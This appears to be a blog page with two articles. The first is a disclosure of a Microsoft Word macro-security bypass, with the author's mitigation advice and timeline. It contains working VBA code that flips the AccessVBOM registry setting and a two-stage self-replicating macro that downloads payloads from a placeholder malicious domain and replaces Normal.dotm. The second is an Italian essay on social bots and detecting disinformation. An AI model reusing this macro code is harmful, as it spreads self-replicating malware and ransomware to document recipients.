MS Office Security protection bypass allows the creation of “Self-replicating Macro-based Malwares”

Brief history

After the proliferation of infamous Macro Viruses (e.g. Melissa), more than a decade ago Microsoft implemented a security protection that should have blocked the possibility to create again self-replicating code called “Trust access to the VBA project object model”.

In fact, according to the explanation available at the URL: https://technet.microsoft.com/en-us/security/cc165610.aspx, “Trust access to the VBA project object model , disallow or allow programmatic access to the Visual Basic for Applications (VBA) object model from an automation client. This security option is for code written to automate an Office program and manipulate the VBA environment and object model. It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code. For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box.”

Findings: Ability to bypass the limit to create self-replication macro code

We found that it is possible to create a macro that enables the “Trust access to the VBA project object model” flag. It will then be possible to create self-replicating code, obtaining a new and working version of the infamous Melissa Macro Virus.

Substantially, it looks like Macros were put in a cage, locked down, but the key was forgotten inside the cage.

Technical description

Once “Trust access to the VBA project object model” flag is checked, the registry key named “AccessVBOM” available inside “HKCU:\Software\Microsoft\Office\<<version>>\Word\Security”, will be set to “1”.

Powershell to the rescue!

The following simple snippet of VBA macro code changes the value of the registry, allowing to create self-replicating code:

Dim enableTrust As Variant

Trust = “powershell Set-ItemProperty -Path “”HKCU:\Software\Microsoft\Office\15.0\Word\Security”” -Name AccessVBOM -Value 1″

enableTrust = Shell(Trust, 0)

The change has effect only after the restart of the Word process, however this is not a big deal. It was possible to create a 2-stage attack that can exploit this vulnerability in order to create a self-replicating Macro Virus:

First stage code

‘download of the second stage (a malicious normal.dotm)

Dim ExecDown As Variant

Dim Download As String

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

FileName = strHomeFolder & “\Microsoft\Templates\Normal.dotm”

FileName2 = strHomeFolder & “\Microsoft\Templates\Normal2.dotm”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage2″” -OutFile ” & FileName2

ExecDown = Shell(Download, 0)

‘scheduling of a task that substitute original normal.dotm file with the malicious one

Ora_X = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 1 & “:” & Second(Now))

PKill = “Schtasks /Create /SC ONCE /ST ” & Ora_X & ” /TN “”PKillTask”” /TR “”taskkill /f /t /im winword.exe”” /F”

Ora_Y = TimeValue(“” & Hour(Now) & “:” & Minute(Now) + 2 & “:” & Second(Now))

ExecPKill = Shell(PKill, 0)

Substitution = “SchTasks /Create /SC ONCE /ST ” & Ora_Y & ” /TN “”SubstitutionTask”” /TR “”cmd /c copy ” & FileName2 & ” ” & FileName & ” /Y”” /F”

ExecSub = Shell(Substitution, 0)

Second stage (normal.dotm) code

‘download of the first stage

Set oShell = CreateObject(“WScript.Shell”)

strHomeFolder = oShell.ExpandEnvironmentStrings(“%APPDATA%”)

moduleName = strHomeFolder & “\Microsoft\Templates\stage1.bas”

Download = “powershell Invoke-WebRequest -Uri “”http://<<malicious-domain>>/stage1″” -OutFile ” & moduleName

ExecDown = Shell(Download, 0)

‘importing and saving the malicious code inside the active document

Dim thisTarget As Document

Dim thisName As String

Set thisTarget = ActiveDocument

thisName = thisTarget.FullName

thisTarget.SaveAs2 newName & “.doc”, _

FileFormat:=wdFormatXMLDocumentMacroEnabled

thisTarget.VBProject.VBComponents.Import moduleName

ActiveDocument.Save

Attack scenario

It is possible to weaponize the code above to create, for example, a targeted “clock bomb” that encrypts all affected system files for ransom purposes. In order to be effective, it is sufficient to lure a company’s employee to execute the macro of a first malicious document to trigger a vicious cycle in which any document sent by him/her (that will become a trusted source for other company’s employees and also for employees of any business partner or supplier) becomes the attack vector. Of course, any new victim becomes the new infection-spreader.

A video of a working Proof of Concept of a self-replicating Macro-based Ransomware we created in just a few days of work will be presented by me during the 8° Italian national conference on Cyber warfare.

Possible mitigation

Technically speaking, in order to (partially) mitigate the vulnerability the suggestion I gave to MS is to move the AccessVBOM registry key from the HKCU hive to the HKLM, making it editable only by the system administrator.

However, it looks like no patch will be delivered by MS (set out below is the responsible disclosure chronicle to MSRC Microsoft Security Response Center).
That means that the only real protection is, as usual, your paranoia level: don’t enable Macros if you are not pretty sure they are legitimate, even if the documents are coming from trusted sources. Verifying the identity of the sender and that the visible content is what you were expecting to receive is no longer enough, because the sender could be involved in spreading malicious documents without being aware of it.

Responsible disclosure chronicles

  • First contact with Microsoft Security Response Center (MSRC): 10/16
  • Sent report & a video PoC to MSRC: 10/17
  • Confirmation of the opening of a ticket for the investigation on the finding from MSRC: 10/17
  • Message informing MSRC closed the investigation: 11/01

 

Here the message coming from the MSRC:
“Hi Lino,

We have completed our investigation and found that this doesn’t appear to be a security vulnerability issue as it’s how it works by design. We anticipate no further action on this item from MSRC and will be closing out the case.”

TrendMicro discovery

According to their post, TrendMicro recently identified Self-Replicating, Document-Encrypting Ransomware called “qkG Filecoder”, probably originating from Vietnamese crooks.

That means the vulnerability we reported to MS and that they refused to accept, could have already become a threat “in the wild” or it may become a threat soon. Hope MS will think about it.

Author:
Lino Antonio Buono
Technical Department Coordinator & Head of R&D Labs

Social Bots

L’attacco hacker al Democratic National Committee, le mail rubate al responsabile della campagna elettorale di Hillary Clinton, il leak di informazioni riservate su Macron. Si tratta di questioni  largamente riprese e diffuse dai media, la cui portata e importanza all’interno della vita politica di uno Stato sta diventando sempre più evidente anche ai non addetti ai lavori.

Essendo state chiaramente programmate ed eseguite secondo determinate tempistiche che consentissero di ottenere il massimo risultato (particolarmente evidente nel caso di Macron), è utile cercare di capire i meccanismi e le strategie messe in atto per portare a termine queste operazioni, inscrivibili in una più ampia dinamica di information warfare.

 

Il meccanismo di funzionamento del fenomeno può essere esemplificato prendendo in prestito il triangolo del fuoco:

  • Le fake news fungono da combustibile, sono ciò che viene infiammato dall’innesco e alimentato dal comburente. In quando combustibile, è sempre presente e ampiamente disponibile. Rimane relativamente “inerte” se non infiammato da un evento specifico (ad esempio un leak).
  • La scintilla che innesca la reazione è l’evento specifico che, come risultato di un attacco informatico, di una fuga di notizie o altro, infiamma la base di fake news.
  • I SocialBots agiscono da comburente, facilitando e alimentando la reazione.

In aggiunta possiamo considerare il sito Wikileaks come la sede in cui le scintille vengono prodotte e in cui mostrano di avere l’efficacia maggiore (pensiamo alla carbonella);

Il braciere in cui questa reazione chimica metaforica ha luogo è costituito dai social network.

 

Ma facciamo ora un esempio concreto, che mostri come questo schema interpretativo si adatti alla realtà degli eventi.

Durante la campagna elettorale per le elezioni presidenziali americane del 2016, la quantità di fake news circolanti su internet e, in particolare, sui social ha raggiunto picchi mai visti prima: secondo i dati raccolti dai ricercatori dell’Oxford Internet Institute, la percentuale di news riconducibili ai media tradizionali o a esperti pubblicamente riconosciuti come tali che sono state condivise durante la campagna elettorale non supera il 26%. Ciò significa che tre quarti di tutto ciò che veniva condiviso sull’argomento si posiziona in un qualche punto dello spettro delle fake news (dal momento che, nella stragrande maggioranza dei casi, un ragionamento dicotomico verità assoluta contro falsità assoluta non è applicabile).

Su questa base di fake news già molto estesa, si è innestato il caso dell’attacco hacker al Democratic National Committee e di quello al responsabile della campagna elettorale di Hillary Clinton, John Podesta. Le informazioni ottenute sono poi state pubblicate dal sito Wikileaks e conseguentemente diffuse in tutto il mondo.

Le fake news che circolavano fino a quel momento erano relativamente “inerti” nel senso che rimanevano all’interno delle cosiddette “information bubbles”  ed erano quindi più atte a rinforzare convinzioni preesistenti che a far cambiare nella pratica le intenzioni di voto.

Ciò che ha fatto sì che l‘information warfare in atto facesse un deciso salto in avanti qualitativo è il leak di dati che, in quanto appunto “leak” di informazioni in precedenza riservate o comunque private, ha una potenzialità di gran lunga maggiore di condizionare efficacemente l’opinione pubblica. Wikileaks ha contribuito a renderlo possibile, grazie alla propria reputazione guadagnata in seguito ai precedenti episodi di fughe di informazioni (che sono poi state confermate).

Tuttavia, l’elemento mancante è quello che ha permesso al fuoco acceso dalla scintilla sul combustibile di continuare ad ardere (e di provocare danni). Il comburente è costituito dai Social bot, che hanno agito dal punto di vista quantitativo amplificando esponenzialmente la diffusione dei contenuti e (probabilmente) l’hanno resa anche più longeva.

 

Ma cosa sono i social bot?

Come si può intuire, i social bot sono dei bot (qualsiasi software in grado di automatizzare delle azioni normalmente compiute da utenti umani) che vengono programmati per agire sui social network. Ne esistono moltissimi tipi diversi, che è possibile raggruppare in tre macro categorie in base alla funzione specifica per cui sono stati creati:

  • Spambots (spammano contenuto vario);
  • Paybots (pagati per portare traffico, spesso copiano tweet aggiungendo una short-URL che non c’entra con il contenuto e rimanda al sito pagante);
  • Influence bots (influenzano le conversazioni relative a un determinato argomento, gonfiano campagne marketing o hashtag per motivi che possono andare dalla semplice promozione alla propaganda politica):
    • Semplici: mettono like e retwittano tutto quello che proviene da un determinato account o che contiene un certo hashtag o parola chiave;
    • Complessi: creano tweet ex novo (spesso copiando altri tweet o generandoli, associandoli a immagini, oppure cyborg bots, cioè parzialmente gestiti in maniera manuale).

 

Grazie all’intervento dei social bot (influence bot) è possibile condizionare la conversazione online relativa a un determinato argomento in vari modi. L‘influence bot semplice provvederà a inondare il social network di turno con messaggi di propaganda più o meno velata, fake news e leak di informazioni allo scopo di creare scandalo tra le fila della fazione opposta e/o di gonfiare la percezione del supporto per una determinata causa o partito. L‘influence bot complesso, invece, agisce in maniera più subdola imitando in tutto e per tutto un utente umano e portando gli utenti reali a credere di discutere con una persona in carne ed ossa.

 

 

Com’è possibile che funzionino così bene? Quali meccanismi psicologici sfruttano per ottenere i loro scopi?

I social bot sfruttano alcuni dei meccanismi psicologici umani su cui fa perno anche il marketing, comprensibilmente, perché come quest’ultimo mirano a provocare un’azione o una reazione. In particolare:

  • L’effetto bandwagon, detto anche effetto carrozzone o istinto del gregge, che altro non è che la tendenza a seguire la folla, tanto nelle azioni, quanto nelle opinioni. L’efficacia di questo meccanismo mentale è stata quantificata matematicamente dai ricercatori dell’università di Ben Gurion, studio che potrebbe essere sviluppato per stabilire la quantità di bot necessari per innescarlo.
  • L’azione dei social bot si avvale anche del effetto persuasivo dell’autorità, soprattutto nel caso degli influence bot complessi che spesso si fingono persone esperte nel settore in cui mettono in atto la propria strategia, ma anche di quelli semplici per una questione di coerenza e di costanza: se X parla sempre e solo di Y, sarà un esperto.
  • L’effetto della scarsità, mutuato anch’esso dal marketing e dalle ben note “promozioni, solo per oggi”, si traduce in espressioni come “condividi prima che censurino” e spesso spinge gli utenti a diffondere notizie in maniera compulsiva e acritica.

 

Dimostrare che le fake news sono effettivamente “fake” non è sufficiente ad arginare il problema, per una serie di motivi.

Il tentativo di portare fatti e dati a smentita della fake news, può scatenare quello che viene chiamato “backfire effect” e che, in sostanza, consiste nell’ottenere la reazione opposta a quella a cui si mirava: una persona convinta della veridicità di una fake news, può interpretare l’impegno di smentirla come un tentativo di insabbiare la verità, con il risultato di rafforzare ancora di più le proprie convinzioni in proposito.

Ad ulteriore ostacolo alla verità troviamo la sindrome del complotto universale, che porta chi già crede in un particolare complotto ad essere molto incline a credere anche agli altri o a tutto ciò che ha anche solo la parvenza di complotto, persino se questo significa entrare in contraddizione. Sembra che questa “sindrome” sia dovuta alle motivazioni psicologiche che portano a credere al concetto stesso di complotto.

E infine, è molto comune leggere o sentire chi, di persona o su internet, tende a sopravvalutare le proprie conoscenze e capacità. Si chiama effetto Dunning-Krueger e rientra nel nostro ragionamento perché chi si sopravvaluta farà un’immensa fatica ad accettare di essersi sbagliato in merito a una notizia o a un fatto e continuerà a pensare che, sotto sotto, ci sia qualcosa che viene volutamente tenuto nascosto ma che loro hanno “percepito”.

 

Indipendentemente da quale sia l’opinione in merito alla sottile linea di confine tra il proteggere chi ne ha effettivo bisogno e il tenere sotto una campana di vetro chi farebbe bene a leggere di più e scrivere di meno, qualcosa va fatto. Se non per l’indipendenza intellettuale e culturale degli italiani, almeno per tentare di mitigare il rischio che soggetti nazionali o esteri sfruttino questi meccanismi per influenzare le abitudini di voto, inficiando la neutralità del nostro processo democratico.

 

Va anche tenuto presente che, secondo i dati dell’inchiesta sulle competenze degli adulti svolta dall’Ocse, “Il 27.7% degli adulti italiani possiede competenze linguistiche di Livello 1 o inferiore”, dove per Livello 1 si intendono le persone che si limitano ad essere “in grado di riempire semplici formulari, comprendere il significato di semplici frasi e leggere con fluidità un testo scritto”.

È evidente che non si tratta di un problema esclusivamente tecnologico, bensì di un deficit culturale ed educativo che va colmato con politiche apposite a medio e lungo termine. Per quanto riguarda il breve termine, in attesa (e nella speranza) che la questione venga affrontata in maniera strutturata e istituzionale, possiamo cercare di arginare gli effetti più nefasti con i mezzi a nostra disposizione nell’immediato.

Twitter, uno dei social network più colpiti

 

La Darpa Challenge

Molti progetti universitari e privati hanno impiegato diverse tecniche per tentare di identificare con sicurezza gli influence bot, di questi i più completi ed efficaci sono quelli che hanno partecipato alla Darpa Challenge statunitense. Sei squadre si sono sfidate in tempo e precisione utilizzando soluzioni sofisticate che prendevano in considerazione una serie di parametri caratterizzanti che andavano dalla sintassi delle frasi, al timing dei tweet, al grafo relazionale che comprendeva gli account in esame, ecc. I risultati in laboratorio sono stati eccezionali: quasi tutte le squadre hanno identificato il 100% dei bot, la maggior parte di esse con una percentuale di falsi positivi vicina allo zero. Quello che sembra un assoluto successo, tuttavia, non è privo di lati negativi e difficoltà nell’applicarlo al lavoro di tutti i giorni. Innanzitutto, tutte le squadre hanno utilizzato dei sistemi di machine learning, che si mostrano sicuramente efficaci, ma non possono prescindere dal periodo di training (una base di dati costituita da una certa quantità di account sicuramente bot e un’altra di account sicuramente umani viene data in pasto al sistema, che li utilizza poi come punto di partenza per individuare gli account assimilabili all’una o all’altra categoria). Questo training richiede molto tempo e, idealmente, un continuo aggiornamento che segua gli sviluppi delle più recenti strategie che i programmatori di bot elaborano per impedirne l’individuazione.

 

Idee e proposte

Allo stato attuale dell’arte, ci è già stato possibile individuare alcuni accorgimenti che renderebbero i futuri bot molto meno individuabili di quelli attuali, che vanno a modificare in particolare:

  • il timing dei tweet, dei retweet, delle menzioni ecc., affinché sia realmente casuale;
  • la rete relazionale, in modo da impedirne la ricostruzione;
  • la somiglianza del contenuto dei tweet a quello che pubblicherebbe un utente umano;
  • la geolocalizzazione, simulata in maniera coerente.

Non specificherò in questa sede come sarebbe teoricamente possibile eludere gli attuali strumenti di analisi, per non fornire facili suggerimenti a eventuali malintenzionati. L’argomento viene trattato in maniera più estesa e specifica all’interno del volume di prossima pubblicazione che riporta gli Atti dell’ottava Conferenza Nazionale sulla Cyber Warfare (CWC) 2017.

 

Si ripresenta la situazione, ben nota a chi si occupa di sicurezza informatica, in cui gli attaccanti hanno la possibilità intrinseca di essere sempre un passo avanti ai difensori. Come dimostrato dai nostri semplici accorgimenti, le caratteristiche su cui si basano gli attuali metodi per l’individuazione dei social bot possono essere cambiate, non appena il botmaster (colui che gestisce la botnet) riesce ad analizzare il funzionamento degli strumenti di individuazione più all’avanguardia.

L’unica cosa che non può essere cambiata è l’intensità dell’attività di diffusione dei contenuti, il potenziamento della portata mediatica e della popolarità, il marketing di prodotti o siti web; se venisse modificata, i bot perderebbero senso di esistere non potendo più svolgere la funzione per cui sono stati creati. Un social bot poco produttivo o una campagna marketing in sordina non sono certo dei risultati voluti e ricercati.

Esattamente come nel caso delle botnet formate da computer o da dispositivi IoT, anche le social botnet ricevono istruzioni da un centro di comando e controllo ed eseguono determinate azioni a seconda dei comandi ricevuti. Nel caso di Twitter, ad esempio, si può ipotizzare che nei momenti immediatamente successivi all’attivazione della botnet, si verifichino dei picchi di traffico relativo all‘hashtag di turno, in tutto e per tutto simile a quelli individuabili durante gli attacchi DDOS.

L’identificazione in tempo reale di un’anomalia nella quantità di traffico relativo a un determinato argomento, può suggerire il risveglio di una botnet e portare l’attenzione sui suoi probabili membri, ovvero gli specifici account che hanno causato l’aumento.

 

In conclusione, per quanto possano dimostrarsi utili le analisi a posteriori da un punto di vista sia tecnico che di strategie di comunicazione, è indispensabile sviluppare un meccanismo di identificazione che consenta di bloccare quelli che sono veri e propri attacchi all’interno di una logica di information warfare. Bisogna agire in anticipo, bloccarli prima che abbiano la possibilità di causare danni perché, come abbiamo visto, il processo di condizionamento è difficilmente reversibile.

 

E.Z.